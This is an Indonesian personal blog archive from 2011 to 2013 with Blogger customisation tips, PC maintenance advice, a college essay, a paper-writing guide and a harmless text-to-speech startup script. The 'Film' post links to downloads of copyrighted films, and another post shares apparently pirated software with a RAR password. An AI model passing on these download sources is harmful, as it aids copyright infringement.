Ferryx'z Sixstaf

Slide Widget Untuk Blog

2013-08-18T21:31:00.003-07:00

Ferryxz Yamato

Buka

Ingin kayak gini mudah kok. Silakan dilihat-lihat ya? :)

Link Share

Kode

Catatan :
1. Untuk yang warna Merah ganti dengan Judul Sobat
2. Untuk yang warna Biru ganti dengan Script/ kata-kata yang diinginkan

Kode Warna Blog

2013-08-16T18:35:00.002-07:00

Kali ini khusus membahas tentang cara mengetahui kode kode warna untuk mempermudah mencari tahu tentang kode warna yang akan dipakai saat mengedit tampilan blog sobat. Langsung saja dilihat ya?

Kode Warna

Kode Warna

Back

mencoba

2013-08-16T03:45:00.001-07:00

planetcaang bumicaang electro-study elektronika

TEST 1

TEST 2

TEST 3

TEST 4

Mengganti Nama Google dengan Nama Sendiri

2012-02-08T17:04:00.000-08:00

Seperti diketahui Google adalah mesin pncari yang terbak sekarang ini. Nah sekarang saya akan memberi tahu trik untuk mengganti nama Google dengan nama yang anda inginkan. simak baik baik ya,, hehehee

1. Masuk ke sini gan http://funnylogo.info/create.asp

2. Ketikan nama anda pada kotak pengisian

3. Pilih style search engine yang diinginkan

4. Klik Create My Search Engine

5. Jangan lupa simpan baik-baik alamat webnya yang tertera di web address browser anda. Bila perlu jadikan homepage di browser kesayangan anda.

Nah, sekarang anda sudah punya alamat search engine google yang unik dengan tampilan nama anda.

Silakan dicoba,,

Cara Mengganti Cursor pada Blogger

2012-01-26T07:45:00.000-08:00

Sebelum dimulai alangkah baiknya menyiapkan beberapa makanan ringan terlebih dahulu,, hehehee
nah tanpa basa basi lagi :
1. masuk ke blogspot
2. pilih rancangan >> Edit HTML (jangan lupa centang pada bagian expand template widget)

3. cari kode ” body{ ” biar lebih mudah alangkah baiknya menggunakan F3

4. setelah itu masukan kode berikut setelah tanda “ { ”

cursor: url(http://urlgambar), default;

5. dan terakhir klik simpan,,,, mudah kan?? :)

NB: url gambar adalah alamat gambar yang telah di upload

contoh: “http://ferryxzsixstaf.blogspot.com/cursor.png”

_. contoh alamat cursor yang bisa agan akses disini

Membuat Tampilan Icon Twitter di Blog

2012-01-08T04:15:00.000-08:00

Untuk kali ini saya akan sharing tentang Icon Twitter, sangat mudah kox untuk bwatnya!!! tinggal klik ni website bisa di lihat di gambar tampilannya

setelah tu tinggal agan tulis ja alamat twitternya dan tinggal pilih nama twitter yang agan inginkan setelah tu tinggal klik select dan copy deh

# Login ke Blogger, masukin username dan password >>Layout>> Page Element>> Add a Gadget >> HTML/Javascript jangan lupa klik tanda +

# setelah tu tinggal paste tu code dan jgn lupa simpan. gampang kan bwatnya,,,, :)

Antivirus 2011/2012

2011-10-14T19:20:00.000-07:00

Ney beberapa Antivirus yang mungkin

berguna silakan di lihat lihat :

Emsisoft Anti-Malware 6.0.0.40

Download Emsisoft di sini

Panda Internet Security 2012 Review

Download Panda Internet Security di sini

ESET NOD32 Antivirus 5.0.94.0

Download ESET NOD32 -x32 di sini

Download ESET NOD32 -x64 di sini

Norton Antivirus 2012 19.1.13

Download Norton di sini

Avira Antivirus Personal

- Free Antivirus 12.0.855

Download Avira di sini

Sekian dulu ya,,, hehehehheeee ^^v

Cara membuat semua link blog terbuka di halaman baru secara otomatis

2011-10-08T06:28:00.000-07:00

Bagamana cara membuka semua link di blog kita terbuka di halaman baru secara otomatis. Nah dengan cara mengakali kode target blank ke dalam template, sebagai bukti : coba sobat klik link apa saja yg ada di bawah ini pasti akan terbuka di halaman baru. mau mencoba silahkan ikuti langkah bekirut :

Masuk ke Blogger.com
lalu klik menu design kemudian klik edit HTML
Cari kode <head>
Masukkan kode di bawah ini sesudah kode <head>
<base target='_blank' />
Save Template anda View Blog

*sumber : m-wali.blogspot.com

Software Pembuat Template Blog

2011-10-08T06:02:00.000-07:00

Software yang di gunakan untuk para pengguna blogger yang mau membuat template sendiri, yang bisa di atur dengan ke inginan kita. Nah gini caranya,

Sobat download dulu Sofware nya pada link di bawah, Ukuran nya cuma 8Mb saja. kemudian install
Kemudian pilih satu contoh template yang telah di sediakan
Setelah sobat menentukan pilihan, maka pilih Costomize, untuk mengubah template sesuai selera kita
Dan terakhir tinggal edit sesuai dengan yang kita mau, semua tombol sudah tersedia, tinggal coba2 saja, setelah selesai tinggal simpan template tersebut dalam bentuk html. dan template baru buatan sobat siap di gunakan..

Software Pembuat Template Download di sini

*sumber : m-wali.blogspot.com

Banner Designer Pro v5.1.0.0 ( Software untuk membuat banner )

2011-10-08T05:40:00.000-07:00

Software yang ini di pergunakan untuk membuat banner sob, jadi sobat nggak perlu capek2 buat banner pake Photoshop or CorelDraw, untung kalau ada ke ahlian menggunakan Photoshop or Corel Draw, kalau nggak gimana? nah sekarang sobat bisa bikin banner cantik dengan software yang satu ini, software ini saya dapatkan dari jejak-cumi.blogspot.com, jadi nggak ada salah nya jika saya bagi juga buat sobat di sini.

Bagi sobat yang membutuhkan silahkan download di sini

Pass RAR: jejak-cumi.blogspot.com

*sumber : m-wali.blogspot.com

Film

2011-10-02T09:48:00.000-07:00

TRANSFORMERS 3: DARK OF THE MOON

Dated Released : 29 June 2011
Quality : Bluray 720p x264-MHD
Info : imdb.com/title/tt1399103/
Trailer : youtube.com/embed/t5GqiGROOq0
IMDB Rating : 7.0
Star : Shia LaBeouf, Rosie Huntington-W, Tyrese Gibson
Genre : Action | Adventure | Sci-Fi
----------------------------------------

Download File [900MB-mkv]|fsonic|wup|up|eu
Download Subtitle Indonesia

HARRY POTTER AND THE DEATHLY HALLOWS: PART 2

Dated Released : 15 July 2011
Quality :[TS-Kualitas Buruk]
Info : imdb.com/title/tt1201607/
IMDB Rating : 8.7
Star : Daniel Radcliffe, Emma Watson, Rupert Grint
Genre : Action | Adventure | Drama
----------------------------------------
Download Files: part1 - part2 - part3 [450MB-mkv]|upfile
Download Subtitle Indonesia

*cinema3satu-2.blogspot.com

Tugas Kuliah I

2011-09-30T22:38:00.000-07:00

Karakteristik dan Perbedaan Individu

A. Individu dan Karakteristiknya

1. Pengertian Individu

Manusia adalah mahluk yang komplek (dapat dilihat dari berbagai sudut pandang). Sebagaimana diketahui, manusia adalah mahluk yang berfikir atau homo sapiens, mahluk yang berbentuk atau homo faber, mahluk yang dapat di didik atau homo educandum, dan seterusnya merupakan pandangan-pandangan tentang manusia yang dapat digunakan untuk menetapkan cara pendekatan yang akan dilakukan terhadap manusia tersebut. Berbagai ciri manusia yang seimbang antar berbagai segi yaitu : a. individu dan sosial, b. jasmani dan rohani, dan c. dunia dan akhirat

Uraian tentang manusia dengna kedudukannya sebagai peserta didik haruslah menempatkan manusia sebagai pribadi yang utuh. Dalam kaitannya dengan kepentingan pendidikan, akan lebih ditekankan hakekat manusia sebagai kesatuan sifat mahluk individu dan mahluk sosial. Individu berarti tidak dapat dibagi (undivided) dan tidak dapat dipisahkan. Keberadaannya sebagai mahluk yang pilah, tunggal, dan khas. Seseorang berbeda dengan orang lain karena ciri-cirinya yang khusus tersebut (Webster’s:743). Menurut Echols & Shadaly, idividu adalah kata benda dari individual yang berarti orang, perseorangan, oknum (Echols,1975:519).

Dalam pertumbuhan dan perkembangan manusia mempunyai kebutuhan-kebutuhan yang harus dipenuhi. Kebutuhan-kebutuhan tersebut dapat di bedakan menjadi dua kelompok besar, yaitu kebutuhan primer dan kebutuhan sekunder.

2. Karakteristik Individu

Setiap individu memiliki ciri dan sifat atau karakteristik bawaan (heredity) dan karakteristik yang di peroleh dari pengaruh lingkungan karakteristik bawaan. Keturunan yang di miliki sejak lahir baik yang menyangkut faktor biologis maupun faktor sosial psikologis. Natur dan nurture merupakan istilah yang biasa digunakan untuk menjelaskan karakteristik-karakteristik individu dalam hal fisik, mental, dan emosional pada setiap tingkat perkembangan. Karakteristik yang berkaitan dengan perkembangan faktor biologis cenderung lebih bersifat tetap, sedangkan karakteristik yang berkaitan dengan sosial psikologis lebih banyak dipengaruhi oleh faktor lingkungan.

B. Perbedaan Individu

Ada dua fakta yang menonjol dalam perkembangan individu, yaitu (1) semua dari manusia mempunyai unsur-unsur kesamaan di dalam pola perkembangannya dan (2) di dalam pola yang bersifat umum dari apa yang membentuk warisan manusia secara biologis dan sosial tiap-tiap individu mempunyai kecendrungan berbeda yang lebih banyak bersifat kuantitatif dan bukan kualitatif. Sifat individu berkaitan dengan orang perseorangan, berkaitan perbedaan individu dengan perseorangan. Perbedaan ini disebut dengan Perbedaan Individu yang menurut Landgren (1980:578) menyangkut variasi yang terjadi baik variasi pada aspek fisik maupun psikologis.

Bidang-bidang perbedaan

Umur kronologis, sebagai faktor yang mewakili tingkat kematangan siswa dan karena itu memungkinkan dia dapat dididik hendaknya dilihat sebagai komponen perbedaan. Faktor-faktor lain seperti jenis kelamin, pengaruh keluarga,status ekonomi, pengalaman belajar sebelumnya, kesesuaian bahan yang dipelajari, dan teknik-teknik mengajar semuanya berpengaruh terhadap tingkat kemampuan individu untuk mencapai keberhasilan dalam tingkat belajarnya.

Individu mempunyai tingkat derajat perbedaan dan bukan berbeda secara absolut dari individu yang lain.apalagi di dalam diri individu sendiri ada ada perbedaan dalam bermacan-macam aspek dari keseluruhan kepribadiannya. Karena tidak ada satu sifat yang berdiri sendiri, berfungsinya satu sifat maka semua sifat-sifat itu mempengaruhi keseluruhan pola tingkah laku individu.

Gerry 1963 (Oxendine, 1984:317) mengkatagorikan perbedaan individu ke dalam bidang-bidang berikut:

a) Perbedaan fisik : usia, tingkat dan berat badan, jenis kelamin, pendengaran, penglihatan, kemampuan bertindak

b) Perbedaan sosial termasuk status ekonomi, agama, hubungan keluarga, suku

c) Perbedaan kepribadian termasuk watak, motif, minat dan sikap

d) Perbedaan inteligensi dan kemampuan dasar

e) Perbedaan kecakapan atau kepandaian di sekolah

Ada enam perbedaan individu yaitu:

a. Perbedaan kognitif

Bloom menghasilkan tiga pembentukan kemampuan yang dikenal sebagai taxonomy Bloom, yaitu Kemampuan kognitif, efektif dan psikomotorik kemampuan kognitif merupakan kemampuan yang berkaitan dengan penguasa ilmu pengetahuan dan teknologi. Kemampuan kognitif menggambarkan penguasaan ilmu pengetahuan dan teknologi tiap-tiap orang.

b. Perbedaan individual dalam kecakapan bahasa

Kemampuan bahasa adalah kemampuan seseorang untuk mengatakan buah pikirannya dalam bentuk ungkapan kata dan kalimat yang penuh makna.

c. Perbedaan dalam kecakapan motorik

Kecakapan motorik, atau kemampuan psikomotorik merupakan kemampuan untuk melakukan koordinasi kerja saraf motorif yang dilakuakan oleh saraf pusat untuk melakukan kegiatan.

d. Perbedaan dalam latar belakang

Perbedaan dalam latar belakang dan pengalaman mereka masing-masing dapat mempelancar atau memperhambat prestasinya. Latar belakang individu yang dimaksud dibedakan dari faktor dalam dan luar dirinya. Factor dari dalam : kecerdasan, kemampuan, bakat, dll. Factor dari luar : social ekonomi, pola sikap orangtua, dll.

e. Perbedaan dalam bakat

Bakat merupakan kemampuan khusus yang di bawah sajak lahir, kemampuan tersebut akan berkembang dengan baik bila mendapat ransangan dan pemupukan secara tepat.

f. Perbedaan dalam kesiapan belajar

Perbedaan latar belakang tersebut, yang meliputi perbedaan sosio ekonomi dan sosiokultural, amat penting bagi perkembangan anak. Kesiapan belajar individu didukung oleh kematangan fisik, mental, umur, kesehatan, dan pengalaman-pengalaman hasil persepsi dan perhatiannya terhadap lingkungan.

C. Aspek-aspek Pertumbuhan dan Perkembangan Indivudu

Pertumbuhan dan perkembangan sering dipertukarkan (interchange) untuk makna yang sama. Pertumbuhan digunakan untuk menyatakan perubahan-perubahan ukuran fisik yang secara kuantitatif semakin besar, atau semakin panjang, sedangkan perkembangan digunakan untuk menyatakan terjadinya perubahan-perubahan dari aspek psikologis dan sosial.

1. Pertumbuhan Fisik

Perubahan menjadi lebih besar dan lebih panjang, prosesnya sejak anak belum lahir sampai dewasa.

a. Pertumbuhan sebelum lahir

Masa sebelum lahir merupakan pertumbuhan dan perkembangan manusia yang sangat kompleks, karena pada masa itu merupakan awal dari terbentuknya organ-organ tubuh dan tersususnya jaringan syaraf yang membentuk sistem yang lengkap.

b. Pertumbuhan setelah lahir

Pada awal setelah bayi itu dilahirkan respon terhadap segala rangsangan dari luar dirinya dilakukan secara refleks dan belum terkoordinasi. Bayi yan baru lahir pendengarannya amat baik yang mampu membedakan suara lmbut dan kasar, penglihatan yang masih lemah.

Pertumbuhan fisik anak dapat dibagi menjadi 4 periode utama, dua periode di tandai dengan pertumbuhan yang sangat cepat dan dua periode lainnya dicirikan oleh pertumbuhan yang sangat lambat.

2. Intelek

Perkembangan tingkat berfikir atau intelek akan di awali dengan kemampuan mengenal yaitu untuk mengetahui dunia luar. Intelek atau pola pikir searah dengan pertumbuahan saraf otak. Perkembangan lebih lanjut perkembangan intelek di tunjukan pada prilakunya, yaitu tindakan menolak dan memilih sesuatu.

Empat tahap-tahap perkembangan kognitif menurut Piaget (Sarlito, 1991:81), yaitu :

a. Masa sensori motor (0.0-2.5 tahun)

Masa ketika bayi mempergunakan sistem penginderaan dan aktivitas motorik untuk mengenal lingkungan.

b. Masa pra-operasional (2.0-7.0 tahun)

Kemampuan anak menggunakan simbol yang mewakili suatu konsep

c. Masa konkreto prerasional (7.0-11.0 tahun)

Sudah dapat melakukan tugas yang konkret, yaitu : 1. Identifikasi (mengenali sesuatu), 2. Negasi (mengingkari sesuatu), dan 3. Reprokasi (mencari hubungan timbal-balik antara beberapa hal)

d. Masa Operasional (11.0-dewasa)

Sudah mampu berfikir abstrak dan hipotesis

3. Emosi

Emosi merupakan gejala perasaan yang disertai dengan perubahan atau perilaku fisik. Seperti marah yang ditunjukkan dengan teriakan suara keras, atau gembira dengan tertawa lebar. Seorang bayi memiliki kebutuhan masih terbatas pada kebutuhan primer, seperti makan dan minum. Ketika lapar, dia akan menangis sebagai luapan dari keinginannya untuk dipenuhi kebutuhannya.

Semakin dewasa, maka kebutuhan manusiapun semakin kompleks, selain kebutuhan primer, juga muncul tuntutan kebutuhan sekunder yang menyebabkan manusia harus bekerja keras, bersaing, dan berjuang untuk memenuhinya. Persaingan untuk memenuhi kebutuhan tersebut tidak selamanya mulus, sehingga muncul lah perasaan kecewa, tidak puas, marah, dan mungkin bereaksi negatif. Sebaliknya jika kebutuhan tersebut dapat dipenuhi, maka muncul perasaan gembira, senang, bahagia, tertawa, dll.

4. Sosial

Sosial adalah keadaan dimana terdapat kehadiran orang lain. Dalam proses pertumbuhan setiap orang tidak dapat berdiri sendiri karena memerlukan lingkungan dan senantiasa akan memerlukan manusia lain.

5. Bahasa

Fungsi bahasa adalah sebagai alat komunikasi. “Tangis” merupakan cara bayi untuk berkomunikasi dengan sekitar. Pengertian bahasa sebagai alat komunikasi diartikan sebagai tanda, gerak, dan suara untuk menyampaikan isi pikiran kepada orang lain.

6. Bakat khusus

Mengingat fungsi pendidikan adalah untuk mempersiapkan peserta didik dalam memasuki dunia kerja. Di dalam definisi bakat yang dikemukakan Guilford (Sumadi, 1984), bakat mencangkup tiga demensi, yaitu : a. Dimensi perseptual, b. Dimensi psikomotor, c. Dimensi intelektual. Ke tiga demensi itu menggambarkan bahwa bakat tersebut mencangkup kemampuan dalam penginderaan, ketepatan dan kecepatan menangkap makna, kecepatan dan ketepatan bertindak serta kemampuan berpikir inteligen.

7. Sikap, Nilai, dan Moral

Bloom (Woolfolk dan Nicolich, 1984:390) mengemukakan bahwa tujuan akhir dari proses belajar dikelompokkan menjadi tiga sasaran, yaitu penguasaan pengetahuan (kognitif), penguasaan nilai dan sikap (afektif), dan penguasaan psikomorik.

Bayi belum mempersoalkan masalah moral dan keterampilan, sebab masa bayi belum mengenal hirearki nilai dan suara hati. Masa anak-anak mulai terjadi perkembangan moral yang rendah dan terbatas. Semakin tumbuh fisik dan psikisnya, anak mulai dikenalkan dengan nilai-nilai, yang boleh dan tidak boleh.

Piaget, pada awalnya pengenalan nilai dan prilaku serta tindakan masih bersifat paksaan, dan anak belum mengetahui maknanya, sejalan dengan perkembangan inteleknya, anak mulai mengikuti berbagai ketentuan yang berlaku dalam keluarga, dan ketentuan dalam masyarakat.

1. Individu adalah manusia yang berkedudukan sebagai pribadi yang utuh, pilah, tungal, dan khas.

2. Manusia terus mengalami pertumbuhan fisik dan perkembangan psikis.

3. Pertumbuhan dan perkembangan manusia dipengaruhi oleh banyak faktor, antara lain keturunan, sosial, ekonomi, sosial kulturasi, kesehatan, dan latar belakang kehidupan keluarga.

Cara Membuat Makalah

2011-09-25T16:44:00.000-07:00

1. Makalah adalah tulisan resmi tentang suatu pokok yg dimaksudkan untuk dibacakan di muka umum atau dalan suatu persidangan dan yang sering disusun untuk diterbitkan.

2. Makalah juga diartikan sebagai karya tulis pelajar atau mahasiswa sebagai laporan hasil pelaksanaan tugas sekolah atau perguruan tinggi.

Adapun bagian-bagian yang disusun secara terstruktur didalam sebuah penulisan makalah terdiri dari:

1. Kata Pengantar : Berisi tentang kata-kata harapan penulis, ucapan trimakasih, dll dari penulis.

2. Daftar Isi

3. Pendahuluan: Merupakan latar belakang dari pembuatan tugas, tujuan dan manfaat yang diinginkan.

4. Landasan Teori: Adalah kutipan teori-teori yang mendasari pembuatan makalah, biasanya akan langsung dikutip dari buku dan diktat.

5. Pembahasan: Merupakan bagian dari inti makalah, dan disini merupakan bagian untuk membahas mengenai makalah yang akan dibuat.

6. Kesmpulan: Disinilah ditungkan kesimpulan tentang makalah yang sudah ditulis.

7. Daftar Pustaka: Menuliskan sumber-sumber tulisan yang sudah dipakai dalam pembuatan makalah.

Berikut ini adalah tahapan-tahapan awal dalam pembuatan sebuah makalah:

Memilih Topik

Bila topik telah ditentukan, anda mungkin tidak lagi memiliki kebebasan untuk memilih. Namun demikian, bukan berarti anda siap untuk menuju langkah berikutnya.

Pikirkan terlebih dahulu tipe naskah yang akan anda tulis. Apakah berupa tinjauan umum, atau analisis topik secara khusus? Jika hanya merupakan tinjauan umum, anda dapat langsung menuju ke langkah berikutnya. Tapi bila anda ingin melakukan analisis khusus, topik anda harus benar-benar spesifik. Jika topik masih terlalu umum, anda dapat mempersempit topik anda. Sebagai contoh, bila topik tentang “Indonesia” adalah satu topik yang masih sangat umum. Jika tujuan anda menulis sebuah gambaran umum (overview), maka topik ini sudah tepat. Namun bila anda ingin membuat analisis singkat, anda dapat mempersempit topik ini menjadi “Kekayaan Budaya Indonesia” atau “Situasi Politik di Indonesia. Setelah anda yakin akan apa yang anda tulis, anda bisa melanjutkan ke langkah berikutnya.

Bila topik belum ditentukan, maka tugas anda jauh lebih berat. Di sisi lain, sebenarnya anda memiliki kebebasan memilih topik yang anda sukai, sehingga biasanya membuat esai anda jauh lebih kuat dan berkarakter.

Tentukan Tujuan

Tentukan terlebih dahulu tujuan esai yang akan anda tulis. Apakah untuk meyakinkan orang agar mempercayai apa yang anda percayai? Menjelaskan bagaimana melakukan hal-hal tertentu? Mendidik pembaca tentang seseorang, ide, tempat atau sesuatu? Apapun topik yang anda pilih, harus sesuai dengan tujuannya.

Tuliskan Minat Anda

Jika anda telah menetapkan tujuan esai anda, tuliskan beberapa subyek yang menarik minat anda. Semakin banyak subyek yang anda tulis, akan semakin baik. Jika anda memiliki masalah dalam menemukan subyek yang anda minati, coba lihat di sekeliling anda. Adakah hal-hal yang menarik di sekitar anda? Pikirkan hidup anda? Apa yang anda lakukan? Mungkin ada beberapa yang menarik untuk dijadikan topik. Jangan mengevaluasi subyek-subyek tersebut, tuliskan saja segala sesuatu yang terlintas di kepala.

Evaluasi Potensial Topik

Jika telah ada bebearpa topik yang pantas, pertimbangkan masing-masing topik tersebut. Jika tujuannya mendidik, anda harus mengerti benar tentang topik yang dimaksud. Jika tujuannya meyakinkan, maka topik tersebut harus benar-benar menggairahkan. Yang paling penting, berapa banyak ide-ide yang anda miliki untuk topik yang anda pilih.

Sebelum anda meneruskan ke langkah berikutnya, lihatlah lagi bentuk naskah yang anda tulis. Sama halnya dengan kasus dimana topik anda telah ditentukan, anda juga perlu memikirkan bentuk naskah yang anda tulis.

Membuat Outline

Tujuan dari pembuatan outline adalah meletakkan ide-ide tentang topik anda dalam naskah dalam sebuah format yang terorganisir.

Mulailah dengang menulis topik anda di bagian atas

Tuliskan angka romawi I, II, III di sebelah kiri halaman tersebut, dengan jarak yang cukup lebar diantaranya

Tuliskan garis besar ide anda tentang topik yang anda maksud:

Jika anda mencoba meyakinkan, berikan argumentasi terbaik

Jika anda menjelaskan satu proses, tuliskan langkah-langkahnya sehingga dapat dipahami pembaca

Jika anda mencoba menginformasikan sesuatu, jelaskan kategori utama dari informasi tersebut

Pada masing-masing romawi, tuliskan A, B, dan C menurun di sis kiri halaman tersebut. Tuliskan fakta atau informasi yang mendukung ide utama
Menuliskan Tesis

Suatu pernyataan tesis mencerminkan isi esai dan poin penting yang akan disampaikan oleh pengarangnya. Anda telah menentukan topik dari esai anda, sekarang anda harus melihat kembali outline yang telah anda buat, dan memutuskan poin penting apa yang akan anda buat. Pernyataan tesis anda terdiri dari dua bagian:

Bagian pertama menyatakan topik. Contoh: Budaya Indonesia, Korupsi di Indonesia

Bagian kedua menyatakan poin-poin dari esai anda. Contoh: memiliki kekayaan yang luar biasa, memerlukan waktu yang panjang untuk memberantasnya, dst.

Menuliskan Tubuh Esai

Bagian ini merupakan bagian paling menyenangkan dari penulisan sebuah esai. Anda dapat menjelaskan, menggambarkan dan memberikan argumentasi dengan lengkap untuk topik yang telah anda pilih. Masing-masing ide penting yang anda tuliskan pada outline akan menjadi satu paragraf dari tubuh tesis anda.

Masing-masing paragraf memiliki struktur yang serupa:

Mulailah dengan menulis ide besar anda dalam bentuk kalimat. Misalkan ide anda adalah: “Pemberantasan korupsi di Indonesia”, anda dapat menuliskan: “Pemberantasan korupsi di Indonesia memerlukan kesabaran besar dan waktu yang lama”

Kemudian tuliskan masing-masing poin pendukung ide tersebut, namun sisakan empat sampai lima baris.

Pada masing-masing poin, tuliskan perluasan dari poin tersebut. Elaborasi ini dapat berupa deskripsi atau penjelasan atau diskusi

Bila perlu, anda dapat menggunakan kalimat kesimpulan pada masing-masing paragraf.

*Karo Cyber Community

Contoh Surat Izin Tidak Masuk Kuliah

2011-09-25T16:34:00.000-07:00

Alamat, Tanggal

Yth. Bapak ..........

di-

Universitas ...........

Ucapan masing" dalam Agama (pembuka)

Dengan surat ini, saya beritahukan bahwa :

Nama Mahasiswa :

NIM :

Fakultas/Jurusan :

Mata Kuliah :

Tidak dapat mengikuti perkuliahan seperti biasanya dikarenakan sakit. Sebagai bukti saya lampirkan surat keterangan sakit dari dokter/ Rumah Sakit setempat. Mohon Bapak dapat memakluminya, atas izin Bapak saya mengucapkan terima kasih.

Ucapan masing" dalam Agama (penutup)

Hormat Saya,

________________

Tips Merawat Komputer

2011-09-25T00:47:00.000-07:00

11 Tips Merawat Komputer

Defrag harddisk secara berkala. Fungsi defrag adalah untuk menata dan mengurutkan file-file harddisk berdasarkan jenis file/data sedemikian rupa sehingga akan mempermudah proses read/write sehingga beban kerja akan lebih ringan yg akhirnya dapat memperpanjang umur harddisk. Caranya klik menu Start > Program > Accesories > System Tool > Disk DefragmenterSaat menjalankan fungsi ini tidak boleh ada program lain yg berjalan termasuk screensaver karena akan mengacaukan fungsi defrag ini.
Aktifkan screensaver Selain bersifat estetis, screensaver mempunyai fungsi lain yg penting. Monitor CRT juga televisi menggunakan fosfor untuk menampilkan gambar. Kalau monitor menampilkan gambar yg sama untuk beberapa saat maka ada fosfor yang menyala terus menerus. Hal ini dapat mengakibatkan monitor bermasalah yaitu gambar menjadi redup/kurang jelas. Lain halnya jika monitor Anda adalah LCD, LED yg sudah dilengkapi dengan energy saving, maka screensaver tidak terlalu dibutuhkan lagi.Cara+ mengaktifkan screensaver dapat dilakukan dengan banyak cara, salah satunya klik Start > Control Panel > Display > klik tab screensaver, kemudian pilih sesuai selera Anda.
Ventilasi yang cukup Tempatkan monitor maupun CPU sedemikian rupa sehingga ventilasi udara dari dan ke monitor / CPU cukup lancar. Ventilasi yg kurang baik akan menyebabkan panas berlebihan sehingga komponen/rangkaian elektronik di dalamnya akan menjadi cepat panas sehingga dapat memperpendek umur komponen tsb. Oleh karena itu usahakan jarak antara monitor/CPU dengan dinding/tembok minimal 30 cm. Kalau perlu pasang kipas angin di dalam ruangan.
Pakailah UPS atau stavolt.Pakailah UPS untuk mengantisipasi listrik mati secara tiba-tiba yg dapat mengakibatkan kerusakan pada harddisk. Kalau terpaksa tidak ada UPS, pakailah Stavolt untuk mengantisipasi naik turunnya tegangan listrik.
Tutup / close program yg tidak berguna Setiap program yg diload atau dijalankan membutuhkan memory (RAM) sehingga semakin banyak program yg dijalankan semakin banyak memory yg tersita. Hal ini selain dapat menyebabkan komputer berjalan lambat (lelet) juga beban kerja menjadi lebih berat yg akhirnya dapat memperpendek umur komponen/komputer.
Install program antivirus dan update secara berkala Untuk dapat mengenali virus/trojan2 baru sebaiknya update program antivirus secara berkala. Virus yg terlanjur menyebar di komputer dapat membuat Anda menginstall ulang komputer. Hal ini selain membutuhkan biaya juga akan menyebabkan harddisk Anda akan lebih cepat rusak dibanding apabila tidak sering diinstall ulang.
Bersihkan Recycle Bin secara rutinSebenarnya file/folder yg kita hapus tidak langsung hilang dari harddisk karena akan ditampung dahulu di Recycle Bin ini dengan maksud agar suatu saat apabila Anda masih membutuhkannya dapat mengembalikan lagi. Recycle Bin yg sudah banyak juga akan menyita ruang harddisk yg dapat menyebabkan pembacaan harddisk jadi lelet.Caranya jalankan Windows Explorer > klik Recycle Bin > klik File > klik Empty Recyle BinAtau Anda dapat menjalankan fungsi Disk Cleanup Caranya Klik Start > Program > Accessories > System Tool > Disk Cleanup > kemudian pilih drive yg mau dibersihkan > setelah itu centangilah opsi Recycle Bin kalau perlu centangi juga yg lain (seperti temporary file, temporary internet file), setelah klik OK.
Jangan meletakkan Speacker Active terlalu dekat dengan monitorKarena medan magnet yang ada pada speacker tersebut akan mempengaruhi monitor yaitu warna monitor menjadi tidak rata atau belang-belang.
Uninstall atau buang program yg tidak bergunaRuang harddisk yg terlalu banyak tersita akan memperlambat proses read/write harddisk sehingga beban kerjanya akan lebih berat sehingga harddisk akan cepat rusak.
Bersihkan motherboard & periferal lain dari debu secara berkalaSetidaknya enam bulan sekali hal ini harus dilakukan. Buka casingnya terlebih dahulu kemudian bersihkan motherboard dan periferal lain (RAM, Video Card, Modem, Sound Card, CDR/CDRW/DVRW, TV Tuner) dengan sikat halus. Pada saat komputer tidak digunakan tutuplah komputer (monitor, CPU, keyboard/mouse) dengan cover sehingga debu tidak mudah masuk ke dalam komputer.
Pasang kabel ground. Apabila casing nyetrum, ambil kabel dengan panjang seperlunya, ujung satu dihubungkan dengan badan CPU (pada casing) sedangkan ujung yg lain ditanam dalam tanah. Hal ini akan dapat menetralkan arus listrik yg “nyasar” sehingga dapat membuat komponen elektronik lebih awet.

Cara mudah menutup program dengan cepat

2011-09-25T00:39:00.000-07:00

Gimana kalo ada 20 program yang sedang kita buka diwindows dan mau dengan cepat untuk menutupnya tanpa klik2 sana sini?, program kecil ini dapat membantu kita, ia akan cepat menutup semua program yang sedang berjalan, tanpa memakan memori atau daya dikomputer, semua jendela akan ditutup dengan cepat dan tanpa meninggalkan kesan sedikitpun. Jendela di desktop hanya akan berkedip sedikit lalu kemudian berhenti. Hanya dengan membuat jalan pintas ( Shortcut ) didalam Start Menu, Quick launch, atau di Taskbar Windows 7.

Close All di Taskbar/Superbar Windows 7

Close All di Windows XP Quick Launch

Cara meng-installnya

Tidak diperlukan proses penginstallan untuk utility ini, cukup download programnya dan ekstraklah ke direktory yang kita inginkan, tidak akan ada settingan di registry dan file sistem yang ditambah ataupun dirubah, ikuti langkah2 berikut:

1. Download atau Unduh program Close All, ekstrak lah dan simpan di MyDocument atau dimana saja kesukaan kita.

2. Setelah itu, buka folder dimana kita mengektrak program tadi, lalu klik kanan CloseAll.exe dan pilih “Send to -> Desktop” ( Create shortcut” dari konteks menunya.

3. Sekarang kita ke Desktop dan gantilah nama “CloseAll.exe Shortcut” tadi dengan nama “CloseAll” atau nama lain sesuai selera.

4. Sekarang kita dapat memindahkan atau tarik saja shortcut tadi ke Quick launch di Windows 7 kita, agar dengan mudah untuk mengaksesnya.

Nah selesai sudah, tinggal klik ajah ikon tanda silang tadi, untuk menutup semua program di windows. agar program ini tidak menutup program yang kita mau, maka tambahkan opsi berikut:

1. Klik kanan shortcut tadi, lalu pilih klik “Properties”

2. Klik tab Shortcut -> Target dan masukkan: -x=”explorer.exe”

Kita bisa menambah daftar program yang tidak mau di tutup oleh utility ini, tambahkan tanda “|” diantara nama program yang akan kita kecualikan, contohnya:

-x=”explorer.exe|firefox.exe|msnmsgr.exe”

Sudah itu klik ok jendela tadi, dan program windows explorer, firefox, dan windows messenger tidak akan ditutup nantinya.

Download disini

Cara buat komputer bicara

2011-09-25T00:21:00.000-07:00

Windows 7 datang dengan paket antarmuka suara yang tentunya kalian tau bisa kita ganti2 bunyinya, seperti bunyi pada waktu kita menghidupkan komputer dan pada waktu kita mematikan komputer, Sekarang gimana kalau kita buat komputer kita berbicara kepada kita pada saat waktu kita menghidupkannya, lumayan daripada mendengar suara suara start-up windows yang itu itu2 ajah. Yuk kita mulai.

Pertama, salin dan masukin kode berikut ke notepad dan simpanlah dalam format file .vbs, nama file terserah selera masing2, kali ini saya menyimpannya dengan nama welcome.vbs.

Dim speaks, speech

speaks="Hello Hong! Welcome back again to your computer. Have a nice day"

Set speech=CreateObject("sapi.spvoice")

speech.Speak speaks

Kedua, Simpanlah file nya di folder startup windows kita, adapun folder dikomputer saya yaitu:

C:\Users\Hong\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Adapun lokasi di komputer anda pasti berbeda, dimana user “Hong” disesuaikan dengan username dikomputer anda.
